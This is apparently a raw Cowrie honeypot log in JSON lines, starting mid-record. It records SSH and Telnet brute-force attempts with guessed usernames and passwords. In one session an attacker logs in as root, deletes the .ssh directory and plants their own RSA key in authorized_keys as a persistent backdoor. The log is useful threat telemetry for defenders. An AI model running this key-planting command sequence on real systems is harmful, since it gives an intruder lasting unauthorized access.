16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:25:23.808961Z","src_ip":"2.57.122.210","session":"cdf93a8fb30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:25:24.095675Z","src_ip":"2.57.122.210","session":"cdf93a8fb30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:25:25.193583Z","src_ip":"2.57.122.210","session":"cdf93a8fb30f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16702,"dst_ip":"10.17.0.5","dst_port":22,"session":"2378ed555045","protocol":"ssh","message":"New connection: 2.57.121.112:16702 (10.17.0.5:22) [session: 2378ed555045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:29.318753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:29.325643Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:29.430930Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040892","message":"login attempt [admin/040892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:29.926173Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040889","message":"login attempt [admin/040889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:31.034844Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040884","message":"login attempt [admin/040884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:32.144537Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040879","message":"login attempt [admin/040879] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:33.253339Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04081995","message":"login attempt [admin/04081995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:34.361313Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:26:35.469355Z","src_ip":"2.57.121.112","session":"2378ed555045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.217.33.207","src_port":33380,"dst_ip":"10.17.0.5","dst_port":23,"session":"337a55c5e1f4","protocol":"telnet","message":"New connection: 71.217.33.207:33380 (10.17.0.5:23) [session: 337a55c5e1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:00.879227Z"}
{"eventid":"cowrie.session.closed","duration":13.815075159072876,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:14.694203Z","src_ip":"71.217.33.207","session":"337a55c5e1f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":48684,"dst_ip":"10.17.0.5","dst_port":22,"session":"be2ea6c22049","protocol":"ssh","message":"New connection: 2.57.122.210:48684 (10.17.0.5:22) [session: be2ea6c22049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:36.469978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:36.477233Z","src_ip":"2.57.122.210","session":"be2ea6c22049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:36.582522Z","src_ip":"2.57.122.210","session":"be2ea6c22049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:36.929153Z","src_ip":"2.57.122.210","session":"be2ea6c22049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:38.037507Z","src_ip":"2.57.122.210","session":"be2ea6c22049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":57960,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7af48098f74","protocol":"ssh","message":"New connection: 85.198.97.85:57960 (159.203.135.109:22) [session: a7af48098f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:53.120552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:53.124710Z","src_ip":"85.198.97.85","session":"a7af48098f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:53.254727Z","src_ip":"85.198.97.85","session":"a7af48098f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Admin123","message":"login attempt [admin/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:53.646952Z","src_ip":"85.198.97.85","session":"a7af48098f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:27:54.780705Z","src_ip":"85.198.97.85","session":"a7af48098f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51438,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e6151e83030","protocol":"ssh","message":"New connection: 2.57.122.210:51438 (10.17.0.5:22) [session: 9e6151e83030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:29:44.994971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:29:44.998873Z","src_ip":"2.57.122.210","session":"9e6151e83030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:29:45.105653Z","src_ip":"2.57.122.210","session":"9e6151e83030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:29:45.420509Z","src_ip":"2.57.122.210","session":"9e6151e83030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:29:46.528938Z","src_ip":"2.57.122.210","session":"9e6151e83030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60500,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa671bc368e","protocol":"ssh","message":"New connection: 195.178.110.218:60500 (159.203.135.109:22) [session: baa671bc368e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:30:09.948801Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:30:10.032638Z","src_ip":"195.178.110.218","session":"baa671bc368e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc2ff08597d","protocol":"ssh","message":"New connection: 2.57.122.210:54174 (10.17.0.5:22) [session: 2bc2ff08597d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:31:56.040955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:31:56.046280Z","src_ip":"2.57.122.210","session":"2bc2ff08597d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:31:56.148205Z","src_ip":"2.57.122.210","session":"2bc2ff08597d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:31:56.528550Z","src_ip":"2.57.122.210","session":"2bc2ff08597d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:31:57.632004Z","src_ip":"2.57.122.210","session":"2bc2ff08597d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.252.133","src_port":50978,"dst_ip":"159.203.135.109","dst_port":22,"session":"16363eefa882","protocol":"ssh","message":"New connection: 156.238.252.133:50978 (159.203.135.109:22) [session: 16363eefa882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:32.623362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:32.627333Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:32.688575Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa147258+","message":"login attempt [root/Aa147258+] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:32.968787Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.126489Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.129705Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.133328Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.198256Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.353581Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.356630Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.423084Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.427333Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.252.133","src_port":50994,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c188a0ab3d","protocol":"ssh","message":"New connection: 156.238.252.133:50994 (159.203.135.109:22) [session: 22c188a0ab3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.481096Z"}
